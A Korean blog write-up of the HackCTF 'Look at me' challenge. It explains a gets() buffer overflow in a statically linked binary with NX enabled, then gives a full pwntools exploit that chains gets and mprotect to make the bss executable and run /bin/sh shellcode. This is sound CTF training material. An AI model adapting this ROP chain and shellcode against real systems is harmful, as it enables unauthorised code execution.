ii4gsp
HackCTF - Look at me 본문
파일을 다운받아 주자.
IDA로 열어보면 main()함수에서 look_at_me()함수를 호출한다.
look_at_me()함수에서 gets()함수로 입력을받는다.
v1은 0x18 즉, 24byte만큼 할당되었다.
이 파일은 NX-bit 보호기법이 걸려있다.
그리고 Dynamic Link Libc방식이 아닌 Static Link Libc라서 프로그램 내부에 함수가 많이 존재한다.
NX-bit 보호기법때문에 쉘 코드를 실행시키지 못하는데 프로그램 내부 함수중에 mprotect()함수가 존재한다.
mprotect()함수는 메모리 영역의 권한을 바꿀 수 있도록 해주어 인자에 7을 주면 RWX권한이 모두 주어진다.
mprotect()함수로 bss영역에 권한을주고 쉘 코드를 올려 실행시키면 된다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3017)
e = ELF('/home/ii4gsp/HackCTF/lookatme')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
gets = e.symbols['gets']
mprotect = e.symbols['mprotect']
bss = e.bss()
bss_start = 0x080ea000
pr = 0x80481c9
pppr = 0x80483c8
payload = ''
payload += '\x90' * 28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Pwning (0) | 2020.02.19 |
---|---|
HackCTF - Gift (0) | 2020.02.18 |
HackCTF - Beginner_Heap (0) | 2020.02.17 |
HackCTF - RTL_Core (0) | 2020.02.17 |
HackCTF - Random Key (0) | 2020.02.16 |
Comments